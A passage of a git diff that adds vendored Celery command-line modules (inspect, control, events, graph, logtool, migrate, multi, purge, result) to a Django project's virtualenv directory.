+@handle_preload_options +def inspect(ctx, action, timeout, destination, json, **kwargs): + """Inspect the worker at runtime. + + Availability: RabbitMQ (AMQP) and Redis transports. + """ + callback = None if json else partial(_say_remote_command_reply, ctx, + show_reply=True) + arguments = _compile_arguments(action, ctx.args) + inspect = ctx.obj.app.control.inspect(timeout=timeout, + destination=destination, + callback=callback) + replies = inspect._request(action, + **arguments) + + if not replies: + raise CeleryCommandException( + message='No nodes replied within time constraint', + exit_code=EX_UNAVAILABLE + ) + + if json: + ctx.obj.echo(dumps(replies)) + return + + nodecount = len(replies) + if not ctx.obj.quiet: + ctx.obj.echo('\n{} {} online.'.format( + nodecount, text.pluralize(nodecount, 'node'))) + + +@click.command(cls=CeleryCommand, + context_settings={'allow_extra_args': True}) +@click.argument("action", type=click.Choice([ + name for name, info in Panel.meta.items() + if info.type == 'control' and info.visible +])) +@click.option('-t', + '--timeout', + cls=CeleryOption, + type=float, + default=1.0, + help_group='Remote Control Options', + help='Timeout in seconds waiting for reply.') +@click.option('-d', + '--destination', + cls=CeleryOption, + type=COMMA_SEPARATED_LIST, + help_group='Remote Control Options', + help='Comma separated list of destination node names.') +@click.option('-j', + '--json', + cls=CeleryOption, + is_flag=True, + help_group='Remote Control Options', + help='Use json as output format.') +@click.pass_context +@handle_preload_options +def control(ctx, action, timeout, destination, json): + """Workers remote control. + + Availability: RabbitMQ (AMQP), Redis, and MongoDB transports. + """ + callback = None if json else partial(_say_remote_command_reply, ctx, + show_reply=True) + args = ctx.args + arguments = _compile_arguments(action, args) + replies = ctx.obj.app.control.broadcast(action, timeout=timeout, + destination=destination, + callback=callback, + reply=True, + arguments=arguments) + + if not replies: + raise CeleryCommandException( + message='No nodes replied within time constraint', + exit_code=EX_UNAVAILABLE + ) + + if json: + ctx.obj.echo(dumps(replies)) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/events.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/events.py new file mode 100644 index 00000000..fa37c835 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/events.py @@ -0,0 +1,95 @@ +"""The ``celery events`` program.""" +import sys +from functools import partial + +import click + +from celery.bin.base import (LOG_LEVEL, CeleryDaemonCommand, CeleryOption, + handle_preload_options) +from celery.platforms import detached, set_process_title, strargv + + +def _set_process_status(prog, info=''): + prog = '{}:{}'.format('celery events', prog) + info = f'{info} {strargv(sys.argv)}' + return set_process_title(prog, info=info) + + +def _run_evdump(app): + from celery.events.dumper import evdump + _set_process_status('dump') + return evdump(app=app) + + +def _run_evcam(camera, app, logfile=None, pidfile=None, uid=None, + gid=None, umask=None, workdir=None, + detach=False, **kwargs): + from celery.events.snapshot import evcam + _set_process_status('cam') + kwargs['app'] = app + cam = partial(evcam, camera, + logfile=logfile, pidfile=pidfile, **kwargs) + + if detach: + with detached(logfile, pidfile, uid, gid, umask, workdir): + return cam() + else: + return cam() + + +def _run_evtop(app): + try: + from celery.events.cursesmon import evtop + _set_process_status('top') + return evtop(app=app) + except ModuleNotFoundError as e: + if e.name == '_curses': + # TODO: Improve this error message + raise click.UsageError("The curses module is required for this command.") + + +@click.command(cls=CeleryDaemonCommand) +@click.option('-d', + '--dump', + cls=CeleryOption, + is_flag=True, + help_group='Dumper') +@click.option('-c', + '--camera', + cls=CeleryOption, + help_group='Snapshot') +@click.option('-d', + '--detach', + cls=CeleryOption, + is_flag=True, + help_group='Snapshot') +@click.option('-F', '--frequency', '--freq', + type=float, + default=1.0, + cls=CeleryOption, + help_group='Snapshot') +@click.option('-r', '--maxrate', + cls=CeleryOption, + help_group='Snapshot') +@click.option('-l', + '--loglevel', + default='WARNING', + cls=CeleryOption, + type=LOG_LEVEL, + help_group="Snapshot", + help="Logging level.") +@click.pass_context +@handle_preload_options +def events(ctx, dump, camera, detach, frequency, maxrate, loglevel, **kwargs): + """Event-stream utilities.""" + app = ctx.obj.app + if dump: + return _run_evdump(app) + + if camera: + return _run_evcam(camera, app=app, freq=frequency, maxrate=maxrate, + loglevel=loglevel, + detach=detach, + **kwargs) + + return _run_evtop(app) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/graph.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/graph.py new file mode 100644 index 00000000..d4d6f162 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/graph.py @@ -0,0 +1,197 @@ +"""The ``celery graph`` command.""" +import sys +from operator import itemgetter + +import click + +from celery.bin.base import CeleryCommand, handle_preload_options +from celery.utils.graph import DependencyGraph, GraphFormatter + + +@click.group() +@click.pass_context +@handle_preload_options +def graph(ctx): + """The ``celery graph`` command.""" + + +@graph.command(cls=CeleryCommand, context_settings={'allow_extra_args': True}) +@click.pass_context +def bootsteps(ctx): + """Display bootsteps graph.""" + worker = ctx.obj.app.WorkController() + include = {arg.lower() for arg in ctx.args or ['worker', 'consumer']} + if 'worker' in include: + worker_graph = worker.blueprint.graph + if 'consumer' in include: + worker.blueprint.connect_with(worker.consumer.blueprint) + else: + worker_graph = worker.consumer.blueprint.graph + worker_graph.to_dot(sys.stdout) + + +@graph.command(cls=CeleryCommand, context_settings={'allow_extra_args': True}) +@click.pass_context +def workers(ctx): + """Display workers graph.""" + def simplearg(arg): + return maybe_list(itemgetter(0, 2)(arg.partition(':'))) + + def maybe_list(l, sep=','): + return l[0], l[1].split(sep) if sep in l[1] else l[1] + + args = dict(simplearg(arg) for arg in ctx.args) + generic = 'generic' in args + + def generic_label(node): + return '{} ({}://)'.format(type(node).__name__, + node._label.split('://')[0]) + + class Node: + force_label = None + scheme = {} + + def __init__(self, label, pos=None): + self._label = label + self.pos = pos + + def label(self): + return self._label + + def __str__(self): + return self.label() + + class Thread(Node): + scheme = { + 'fillcolor': 'lightcyan4', + 'fontcolor': 'yellow', + 'shape': 'oval', + 'fontsize': 10, + 'width': 0.3, + 'color': 'black', + } + + def __init__(self, label, **kwargs): + self.real_label = label + super().__init__( + label=f'thr-{next(tids)}', + pos=0, + ) + + class Formatter(GraphFormatter): + + def label(self, obj): + return obj and obj.label() + + def node(self, obj): + scheme = dict(obj.scheme) if obj.pos else obj.scheme + if isinstance(obj, Thread): + scheme['label'] = obj.real_label + return self.draw_node( + obj, dict(self.node_scheme, **scheme), + ) + + def terminal_node(self, obj): + return self.draw_node( + obj, dict(self.term_scheme, **obj.scheme), + ) + + def edge(self, a, b, **attrs): + if isinstance(a, Thread): + attrs.update(arrowhead='none', arrowtail='tee') + return self.draw_edge(a, b, self.edge_scheme, attrs) + + def subscript(n): + S = {'0': '₀', '1': '₁', '2': '₂', '3': '₃', '4': '₄', + '5': '₅', '6': '₆', '7': '₇', '8': '₈', '9': '₉'} + return ''.join([S[i] for i in str(n)]) + + class Worker(Node): + pass + + class Backend(Node): + scheme = { + 'shape': 'folder', + 'width': 2, + 'height': 1, + 'color': 'black', + 'fillcolor': 'peachpuff3', + } + + def label(self): + return generic_label(self) if generic else self._label + + class Broker(Node): + scheme = { + 'shape': 'circle', + 'fillcolor': 'cadetblue3', + 'color': 'cadetblue4', + 'height': 1, + } + + def label(self): + return generic_label(self) if generic else self._label + + from itertools import count + tids = count(1) + Wmax = int(args.get('wmax', 4) or 0) + Tmax = int(args.get('tmax', 3) or 0) + + def maybe_abbr(l, name, max=Wmax): + size = len(l) + abbr = max and size > max + if 'enumerate' in args: + l = [f'{name}{subscript(i + 1)}' + for i, obj in enumerate(l)] + if abbr: + l = l[0:max - 1] + [l[size - 1]] + l[max - 2] = '{}⎨…{}⎬'.format( + name[0], subscript(size - (max - 1))) + return l + + app = ctx.obj.app + try: + workers = args['nodes'] + threads = args.get('threads') or [] + except KeyError: + replies = app.control.inspect().stats() or {} + workers, threads = [], [] + for worker, reply in replies.items(): + workers.append(worker) + threads.append(reply['pool']['max-concurrency']) + + wlen = len(workers) + backend = args.get('backend', app.conf.result_backend) + threads_for = {} + workers = maybe_abbr(workers, 'Worker') + if Wmax and wlen > Wmax: + threads = threads[0:3] + [threads[-1]] + for i, threads in enumerate(threads): + threads_for[workers[i]] = maybe_abbr( + list(range(int(threads))), 'P', Tmax, + ) + + broker = Broker(args.get( + 'broker', app.connection_for_read().as_uri())) + backend = Backend(backend) if backend else None + deps = DependencyGraph(formatter=Formatter()) + deps.add_arc(broker) + if backend: + deps.add_arc(backend) + curworker = [0] + for i, worker in enumerate(workers): + worker = Worker(worker, pos=i) + deps.add_arc(worker) + deps.add_edge(worker, broker) + if backend: + deps.add_edge(worker, backend) + threads = threads_for.get(worker._label) + if threads: + for thread in threads: + thread = Thread(thread) + deps.add_arc(thread) + deps.add_edge(thread, worker) + + curworker[0] += 1 + + deps.to_dot(sys.stdout) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/list.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/list.py new file mode 100644 index 00000000..f170e627 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/list.py @@ -0,0 +1,38 @@ +"""The ``celery list bindings`` command, used to inspect queue bindings.""" +import click + +from celery.bin.base import CeleryCommand, handle_preload_options + + +@click.group(name="list") +@click.pass_context +@handle_preload_options +def list_(ctx): + """Get info from broker. + + Note: + + For RabbitMQ the management plugin is required. + """ + + +@list_.command(cls=CeleryCommand) +@click.pass_context +def bindings(ctx): + """Inspect queue bindings.""" + # TODO: Consider using a table formatter for this command. + app = ctx.obj.app + with app.connection() as conn: + app.amqp.TaskConsumer(conn).declare() + + try: + bindings = conn.manager.get_bindings() + except NotImplementedError: + raise click.UsageError('Your transport cannot list bindings.') + + def fmt(q, e, r): + ctx.obj.echo(f'{q:<28} {e:<28} {r}') + fmt('Queue', 'Exchange', 'Routing Key') + fmt('-' * 16, '-' * 16, '-' * 16) + for b in bindings: + fmt(b['destination'], b['source'], b['routing_key']) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/logtool.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/logtool.py new file mode 100644 index 00000000..ae64c3e4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/logtool.py @@ -0,0 +1,157 @@ +"""The ``celery logtool`` command.""" +import re +from collections import Counter +from fileinput import FileInput + +import click + +from celery.bin.base import CeleryCommand, handle_preload_options + +__all__ = ('logtool',) + +RE_LOG_START = re.compile(r'^\[\d\d\d\d\-\d\d-\d\d ') +RE_TASK_RECEIVED = re.compile(r'.+?\] Received') +RE_TASK_READY = re.compile(r'.+?\] Task') +RE_TASK_INFO = re.compile(r'.+?([\w\.]+)\[(.+?)\].+') +RE_TASK_RESULT = re.compile(r'.+?[\w\.]+\[.+?\] (.+)') + +REPORT_FORMAT = """ +Report +====== +Task total: {task[total]} +Task errors: {task[errors]} +Task success: {task[succeeded]} +Task completed: {task[completed]} +Tasks +===== +{task[types].format} +""" + + +class _task_counts(list): + + @property + def format(self): + return '\n'.join('{}: {}'.format(*i) for i in self) + + +def task_info(line): + m = RE_TASK_INFO.match(line) + return m.groups() + + +class Audit: + + def __init__(self, on_task_error=None, on_trace=None, on_debug=None): + self.ids = set() + self.names = {} + self.results = {} + self.ready = set() + self.task_types = Counter() + self.task_errors = 0 + self.on_task_error = on_task_error + self.on_trace = on_trace + self.on_debug = on_debug + self.prev_line = None + + def run(self, files): + for line in FileInput(files): + self.feed(line) + return self + + def task_received(self, line, task_name, task_id): + self.names[task_id] = task_name + self.ids.add(task_id) + self.task_types[task_name] += 1 + + def task_ready(self, line, task_name, task_id, result): + self.ready.add(task_id) + self.results[task_id] = result + if 'succeeded' not in result: + self.task_error(line, task_name, task_id, result) + + def task_error(self, line, task_name, task_id, result): + self.task_errors += 1 + if self.on_task_error: + self.on_task_error(line, task_name, task_id, result) + + def feed(self, line): + if RE_LOG_START.match(line): + if RE_TASK_RECEIVED.match(line): + task_name, task_id = task_info(line) + self.task_received(line, task_name, task_id) + elif RE_TASK_READY.match(line): + task_name, task_id = task_info(line) + result = RE_TASK_RESULT.match(line) + if result: + result, = result.groups() + self.task_ready(line, task_name, task_id, result) + else: + if self.on_debug: + self.on_debug(line) + self.prev_line = line + else: + if self.on_trace: + self.on_trace('\n'.join(filter(None, [self.prev_line, line]))) + self.prev_line = None + + def incomplete_tasks(self): + return self.ids ^ self.ready + + def report(self): + return { + 'task': { + 'types': _task_counts(self.task_types.most_common()), + 'total': len(self.ids), + 'errors': self.task_errors, + 'completed': len(self.ready), + 'succeeded': len(self.ready) - self.task_errors, + } + } + + +@click.group() +@click.pass_context +@handle_preload_options +def logtool(ctx): + """The ``celery logtool`` command.""" + + +@logtool.command(cls=CeleryCommand) +@click.argument('files', nargs=-1) +@click.pass_context +def stats(ctx, files): + ctx.obj.echo(REPORT_FORMAT.format( + **Audit().run(files).report() + )) + + +@logtool.command(cls=CeleryCommand) +@click.argument('files', nargs=-1) +@click.pass_context +def traces(ctx, files): + Audit(on_trace=ctx.obj.echo).run(files) + + +@logtool.command(cls=CeleryCommand) +@click.argument('files', nargs=-1) +@click.pass_context +def errors(ctx, files): + Audit(on_task_error=lambda line, *_: ctx.obj.echo(line)).run(files) + + +@logtool.command(cls=CeleryCommand) +@click.argument('files', nargs=-1) +@click.pass_context +def incomplete(ctx, files): + audit = Audit() + audit.run(files) + for task_id in audit.incomplete_tasks(): + ctx.obj.echo(f'Did not complete: {task_id}') + + +@logtool.command(cls=CeleryCommand) +@click.argument('files', nargs=-1) +@click.pass_context +def debug(ctx, files): + Audit(on_debug=ctx.obj.echo).run(files) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/migrate.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/migrate.py new file mode 100644 index 00000000..febaaaac --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/migrate.py @@ -0,0 +1,64 @@ +"""The ``celery migrate`` command, used to filter and move messages.""" +import click +from kombu import Connection + +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) +from celery.contrib.migrate import migrate_tasks + + +@click.command(cls=CeleryCommand) +@click.argument('source') +@click.argument('destination') +@click.option('-n', + '--limit', + cls=CeleryOption, + type=int, + help_group='Migration Options', + help='Number of tasks to consume.') +@click.option('-t', + '--timeout', + cls=CeleryOption, + type=float, + help_group='Migration Options', + help='Timeout in seconds waiting for tasks.') +@click.option('-a', + '--ack-messages', + cls=CeleryOption, + is_flag=True, + help_group='Migration Options', + help='Ack messages from source broker.') +@click.option('-T', + '--tasks', + cls=CeleryOption, + help_group='Migration Options', + help='List of task names to filter on.') +@click.option('-Q', + '--queues', + cls=CeleryOption, + help_group='Migration Options', + help='List of queues to migrate.') +@click.option('-F', + '--forever', + cls=CeleryOption, + is_flag=True, + help_group='Migration Options', + help='Continually migrate tasks until killed.') +@click.pass_context +@handle_preload_options +def migrate(ctx, source, destination, **kwargs): + """Migrate tasks from one broker to another. + + Warning: + + This command is experimental, make sure you have a backup of + the tasks before you continue. + """ + # TODO: Use a progress bar + def on_migrate_task(state, body, message): + ctx.obj.echo(f"Migrating task {state.count}/{state.strtotal}: {body}") + + migrate_tasks(Connection(source), + Connection(destination), + callback=on_migrate_task, + **kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/multi.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/multi.py new file mode 100644 index 00000000..3a9e026b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/multi.py @@ -0,0 +1,480 @@ +"""Start multiple worker instances from the command-line. + +.. program:: celery multi + +Examples +======== + +.. code-block:: console + + $ # Single worker with explicit name and events enabled. + $ celery multi start Leslie -E + + $ # Pidfiles and logfiles are stored in the current directory + $ # by default. Use --pidfile and --logfile argument to change + $ # this. The abbreviation %n will be expanded to the current + $ # node name. + $ celery multi start Leslie -E --pidfile=/var/run/celery/%n.pid + --logfile=/var/log/celery/%n%I.log + + + $ # You need to add the same arguments when you restart, + $ # as these aren't persisted anywhere. + $ celery multi restart Leslie -E --pidfile=/var/run/celery/%n.pid + --logfile=/var/log/celery/%n%I.log + + $ # To stop the node, you need to specify the same pidfile. + $ celery multi stop Leslie --pidfile=/var/run/celery/%n.pid + + $ # 3 workers, with 3 processes each + $ celery multi start 3 -c 3 + celery worker -n celery1@myhost -c 3 + celery worker -n celery2@myhost -c 3 + celery worker -n celery3@myhost -c 3 + + $ # override name prefix when using range + $ celery multi start 3 --range-prefix=worker -c 3 + celery worker -n worker1@myhost -c 3 + celery worker -n worker2@myhost -c 3 + celery worker -n worker3@myhost -c 3 + + $ # start 3 named workers + $ celery multi start image video data -c 3 + celery worker -n image@myhost -c 3 + celery worker -n video@myhost -c 3 + celery worker -n data@myhost -c 3 + + $ # specify custom hostname + $ celery multi start 2 --hostname=worker.example.com -c 3 + celery worker -n celery1@worker.example.com -c 3 + celery worker -n celery2@worker.example.com -c 3 + + $ # specify fully qualified nodenames + $ celery multi start foo@worker.example.com bar@worker.example.com -c 3 + + $ # fully qualified nodenames but using the current hostname + $ celery multi start foo@%h bar@%h + + $ # Advanced example starting 10 workers in the background: + $ # * Three of the workers processes the images and video queue + $ # * Two of the workers processes the data queue with loglevel DEBUG + $ # * the rest processes the default' queue. + $ celery multi start 10 -l INFO -Q:1-3 images,video -Q:4,5 data + -Q default -L:4,5 DEBUG + + $ # You can show the commands necessary to start the workers with + $ # the 'show' command: + $ celery multi show 10 -l INFO -Q:1-3 images,video -Q:4,5 data + -Q default -L:4,5 DEBUG + + $ # Additional options are added to each celery worker's command, + $ # but you can also modify the options for ranges of, or specific workers + + $ # 3 workers: Two with 3 processes, and one with 10 processes. + $ celery multi start 3 -c 3 -c:1 10 + celery worker -n celery1@myhost -c 10 + celery worker -n celery2@myhost -c 3 + celery worker -n celery3@myhost -c 3 + + $ # can also specify options for named workers + $ celery multi start image video data -c 3 -c:image 10 + celery worker -n image@myhost -c 10 + celery worker -n video@myhost -c 3 + celery worker -n data@myhost -c 3 + + $ # ranges and lists of workers in options is also allowed: + $ # (-c:1-3 can also be written as -c:1,2,3) + $ celery multi start 5 -c 3 -c:1-3 10 + celery worker -n celery1@myhost -c 10 + celery worker -n celery2@myhost -c 10 + celery worker -n celery3@myhost -c 10 + celery worker -n celery4@myhost -c 3 + celery worker -n celery5@myhost -c 3 + + $ # lists also works with named workers + $ celery multi start foo bar baz xuzzy -c 3 -c:foo,bar,baz 10 + celery worker -n foo@myhost -c 10 + celery worker -n bar@myhost -c 10 + celery worker -n baz@myhost -c 10 + celery worker -n xuzzy@myhost -c 3 +""" +import os +import signal +import sys +from functools import wraps + +import click +from kombu.utils.objects import cached_property + +from celery import VERSION_BANNER +from celery.apps.multi import Cluster, MultiParser, NamespacedOptionParser +from celery.bin.base import CeleryCommand, handle_preload_options +from celery.platforms import EX_FAILURE, EX_OK, signals +from celery.utils import term +from celery.utils.text import pluralize + +__all__ = ('MultiTool',) + +USAGE = """\ +usage: {prog_name} start [worker options] + {prog_name} stop [-SIG (default: -TERM)] + {prog_name} restart [-SIG] [worker options] + {prog_name} kill + + {prog_name} show [worker options] + {prog_name} get hostname [-qv] [worker options] + {prog_name} names + {prog_name} expand template + {prog_name} help + +additional options (must appear after command name): + + * --nosplash: Don't display program info. + * --quiet: Don't show as much output. + * --verbose: Show more output. + * --no-color: Don't display colors. +""" + + +def main(): + sys.exit(MultiTool().execute_from_commandline(sys.argv)) + + +def splash(fun): + + @wraps(fun) + def _inner(self, *args, **kwargs): + self.splash() + return fun(self, *args, **kwargs) + return _inner + + +def using_cluster(fun): + + @wraps(fun) + def _inner(self, *argv, **kwargs): + return fun(self, self.cluster_from_argv(argv), **kwargs) + return _inner + + +def using_cluster_and_sig(fun): + + @wraps(fun) + def _inner(self, *argv, **kwargs): + p, cluster = self._cluster_from_argv(argv) + sig = self._find_sig_argument(p) + return fun(self, cluster, sig, **kwargs) + return _inner + + +class TermLogger: + + splash_text = 'celery multi v{version}' + splash_context = {'version': VERSION_BANNER} + + #: Final exit code. + retcode = 0 + + def setup_terminal(self, stdout, stderr, + nosplash=False, quiet=False, verbose=False, + no_color=False, **kwargs): + self.stdout = stdout or sys.stdout + self.stderr = stderr or sys.stderr + self.nosplash = nosplash + self.quiet = quiet + self.verbose = verbose + self.no_color = no_color + + def ok(self, m, newline=True, file=None): + self.say(m, newline=newline, file=file) + return EX_OK + + def say(self, m, newline=True, file=None): + print(m, file=file or self.stdout, end='\n' if newline else '') + + def carp(self, m, newline=True, file=None): + return self.say(m, newline, file or self.stderr) + + def error(self, msg=None): + if msg: + self.carp(msg) + self.usage() + return EX_FAILURE + + def info(self, msg, newline=True): + if self.verbose: + self.note(msg, newline=newline) + + def note(self, msg, newline=True): + if not self.quiet: + self.say(str(msg), newline=newline) + + @splash + def usage(self): + self.say(USAGE.format(prog_name=self.prog_name)) + + def splash(self): + if not self.nosplash: + self.note(self.colored.cyan( + self.splash_text.format(**self.splash_context))) + + @cached_property + def colored(self): + return term.colored(enabled=not self.no_color) + + +class MultiTool(TermLogger): + """The ``celery multi`` program.""" + + MultiParser = MultiParser + OptionParser = NamespacedOptionParser + + reserved_options = [ + ('--nosplash', 'nosplash'), + ('--quiet', 'quiet'), + ('-q', 'quiet'), + ('--verbose', 'verbose'), + ('--no-color', 'no_color'), + ] + + def __init__(self, env=None, cmd=None, + fh=None, stdout=None, stderr=None, **kwargs): + # fh is an old alias to stdout. + self.env = env + self.cmd = cmd + self.setup_terminal(stdout or fh, stderr, **kwargs) + self.fh = self.stdout + self.prog_name = 'celery multi' + self.commands = { + 'start': self.start, + 'show': self.show, + 'stop': self.stop, + 'stopwait': self.stopwait, + 'stop_verify': self.stopwait, # compat alias + 'restart': self.restart, + 'kill': self.kill, + 'names': self.names, + 'expand': self.expand, + 'get': self.get, + 'help': self.help, + } + + def execute_from_commandline(self, argv, cmd=None): + # Reserve the --nosplash|--quiet|-q/--verbose options. + argv = self._handle_reserved_options(argv) + self.cmd = cmd if cmd is not None else self.cmd + self.prog_name = os.path.basename(argv.pop(0)) + + if not self.validate_arguments(argv): + return self.error() + + return self.call_command(argv[0], argv[1:]) + + def validate_arguments(self, argv): + return argv and argv[0][0] != '-' + + def call_command(self, command, argv): + try: + return self.commands[command](*argv) or EX_OK + except KeyError: + return self.error(f'Invalid command: {command}') + + def _handle_reserved_options(self, argv): + argv = list(argv) # don't modify callers argv. + for arg, attr in self.reserved_options: + if arg in argv: + setattr(self, attr, bool(argv.pop(argv.index(arg)))) + return argv + + @splash + @using_cluster + def start(self, cluster): + self.note('> Starting nodes...') + return int(any(cluster.start())) + + @splash + @using_cluster_and_sig + def stop(self, cluster, sig, **kwargs): + return cluster.stop(sig=sig, **kwargs) + + @splash + @using_cluster_and_sig + def stopwait(self, cluster, sig, **kwargs): + return cluster.stopwait(sig=sig, **kwargs) + stop_verify = stopwait # compat + + @splash + @using_cluster_and_sig + def restart(self, cluster, sig, **kwargs): + return int(any(cluster.restart(sig=sig, **kwargs))) + + @using_cluster + def names(self, cluster): + self.say('\n'.join(n.name for n in cluster)) + + def get(self, wanted, *argv): + try: + node = self.cluster_from_argv(argv).find(wanted) + except KeyError: + return EX_FAILURE + else: + return self.ok(' '.join(node.argv)) + + @using_cluster + def show(self, cluster): + return self.ok('\n'.join( + ' '.join(node.argv_with_executable) + for node in cluster + )) + + @splash + @using_cluster + def kill(self, cluster): + return cluster.kill() + + def expand(self, template, *argv): + return self.ok('\n'.join( + node.expander(template) + for node in self.cluster_from_argv(argv) + )) + + def help(self, *argv): + self.say(__doc__) + + def _find_sig_argument(self, p, default=signal.SIGTERM): + args = p.args[len(p.values):] + for arg in reversed(args): + if len(arg) == 2 and arg[0] == '-': + try: + return int(arg[1]) + except ValueError: + pass + if arg[0] == '-': + try: + return signals.signum(arg[1:]) + except (AttributeError, TypeError): + pass + return default + + def _nodes_from_argv(self, argv, cmd=None): + cmd = cmd if cmd is not None else self.cmd + p = self.OptionParser(argv) + p.parse() + return p, self.MultiParser(cmd=cmd).parse(p) + + def cluster_from_argv(self, argv, cmd=None): + _, cluster = self._cluster_from_argv(argv, cmd=cmd) + return cluster + + def _cluster_from_argv(self, argv, cmd=None): + p, nodes = self._nodes_from_argv(argv, cmd=cmd) + return p, self.Cluster(list(nodes), cmd=cmd) + + def Cluster(self, nodes, cmd=None): + return Cluster( + nodes, + cmd=cmd, + env=self.env, + on_stopping_preamble=self.on_stopping_preamble, + on_send_signal=self.on_send_signal, + on_still_waiting_for=self.on_still_waiting_for, + on_still_waiting_progress=self.on_still_waiting_progress, + on_still_waiting_end=self.on_still_waiting_end, + on_node_start=self.on_node_start, + on_node_restart=self.on_node_restart, + on_node_shutdown_ok=self.on_node_shutdown_ok, + on_node_status=self.on_node_status, + on_node_signal_dead=self.on_node_signal_dead, + on_node_signal=self.on_node_signal, + on_node_down=self.on_node_down, + on_child_spawn=self.on_child_spawn, + on_child_signalled=self.on_child_signalled, + on_child_failure=self.on_child_failure, + ) + + def on_stopping_preamble(self, nodes): + self.note(self.colored.blue('> Stopping nodes...')) + + def on_send_signal(self, node, sig): + self.note('\t> {0.name}: {1} -> {0.pid}'.format(node, sig)) + + def on_still_waiting_for(self, nodes): + num_left = len(nodes) + if num_left: + self.note(self.colored.blue( + '> Waiting for {} {} -> {}...'.format( + num_left, pluralize(num_left, 'node'), + ', '.join(str(node.pid) for node in nodes)), + ), newline=False) + + def on_still_waiting_progress(self, nodes): + self.note('.', newline=False) + + def on_still_waiting_end(self): + self.note('') + + def on_node_signal_dead(self, node): + self.note( + 'Could not signal {0.name} ({0.pid}): No such process'.format( + node)) + + def on_node_start(self, node): + self.note(f'\t> {node.name}: ', newline=False) + + def on_node_restart(self, node): + self.note(self.colored.blue( + f'> Restarting node {node.name}: '), newline=False) + + def on_node_down(self, node): + self.note(f'> {node.name}: {self.DOWN}') + + def on_node_shutdown_ok(self, node): + self.note(f'\n\t> {node.name}: {self.OK}') + + def on_node_status(self, node, retval): + self.note(retval and self.FAILED or self.OK) + + def on_node_signal(self, node, sig): + self.note('Sending {sig} to node {0.name} ({0.pid})'.format( + node, sig=sig)) + + def on_child_spawn(self, node, argstr, env): + self.info(f' {argstr}') + + def on_child_signalled(self, node, signum): + self.note(f'* Child was terminated by signal {signum}') + + def on_child_failure(self, node, retcode): + self.note(f'* Child terminated with exit code {retcode}') + + @cached_property + def OK(self): + return str(self.colored.green('OK')) + + @cached_property + def FAILED(self): + return str(self.colored.red('FAILED')) + + @cached_property + def DOWN(self): + return str(self.colored.magenta('DOWN')) + + +@click.command( + cls=CeleryCommand, + context_settings={ + 'allow_extra_args': True, + 'ignore_unknown_options': True + } +) +@click.pass_context +@handle_preload_options +def multi(ctx): + """Start multiple worker instances.""" + cmd = MultiTool(quiet=ctx.obj.quiet, no_color=ctx.obj.no_color) + # In 4.x, celery multi ignores the global --app option. + # Since in 5.0 the --app option is global only we + # rearrange the arguments so that the MultiTool will parse them correctly. + args = sys.argv[1:] + args = args[args.index('multi'):] + args[:args.index('multi')] + return cmd.execute_from_commandline(args) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/purge.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/purge.py new file mode 100644 index 00000000..2629ac7e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/purge.py @@ -0,0 +1,69 @@ +"""The ``celery purge`` program, used to delete messages from queues.""" +import click + +from celery.bin.base import (COMMA_SEPARATED_LIST, CeleryCommand, + CeleryOption, handle_preload_options) +from celery.utils import text + + +@click.command(cls=CeleryCommand) +@click.option('-f', + '--force', + cls=CeleryOption, + is_flag=True, + help_group='Purging Options', + help="Don't prompt for verification.") +@click.option('-Q', + '--queues', + cls=CeleryOption, + type=COMMA_SEPARATED_LIST, + help_group='Purging Options', + help="Comma separated list of queue names to purge.") +@click.option('-X', + '--exclude-queues', + cls=CeleryOption, + type=COMMA_SEPARATED_LIST, + help_group='Purging Options', + help="Comma separated list of queues names not to purge.") +@click.pass_context +@handle_preload_options +def purge(ctx, force, queues, exclude_queues): + """Erase all messages from all known task queues. + + Warning: + + There's no undo operation for this command. + """ + app = ctx.obj.app + queues = set(queues or app.amqp.queues.keys()) + exclude_queues = set(exclude_queues or []) + names = queues - exclude_queues + qnum = len(names) + + if names: + queues_headline = text.pluralize(qnum, 'queue') + if not force: + queue_names = ', '.join(sorted(names)) + click.confirm(f"{ctx.obj.style('WARNING', fg='red')}:" + "This will remove all tasks from " + f"{queues_headline}: {queue_names}.\n" + " There is no undo for this operation!\n\n" + "(to skip this prompt use the -f option)\n" + "Are you sure you want to delete all tasks?", + abort=True) + + def _purge(conn, queue): + try: + return conn.default_channel.queue_purge(queue) or 0 + except conn.channel_errors: + return 0 + + with app.connection_for_write() as conn: + messages = sum(_purge(conn, queue) for queue in names) + + if messages: + messages_headline = text.pluralize(messages, 'message') + ctx.obj.echo(f"Purged {messages} {messages_headline} from " + f"{qnum} known task {queues_headline}.") + else: + ctx.obj.echo(f"No messages purged from {qnum} {queues_headline}.") diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/result.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/result.py new file mode 100644 index 00000000..c126fb58 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/result.py @@ -0,0 +1,31 @@ +"""The ``celery result`` program, used to inspect task results.""" +import click + +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) + + +@click.command(cls=CeleryCommand) +@click.argument('task_id') +@click.option('-t', + '--task', + cls=CeleryOption, + help_group='Result Options', + help="Name of task (if custom backend).") +@click.option('--traceback', + cls=CeleryOption, + is_flag=True, + help_group='Result Options', + help="Show traceback instead.") +@click.pass_context +@handle_preload_options +def result(ctx, task_id, task, traceback): + """Print the return value for a given task id.""" + app = ctx.obj.app + + result_cls = 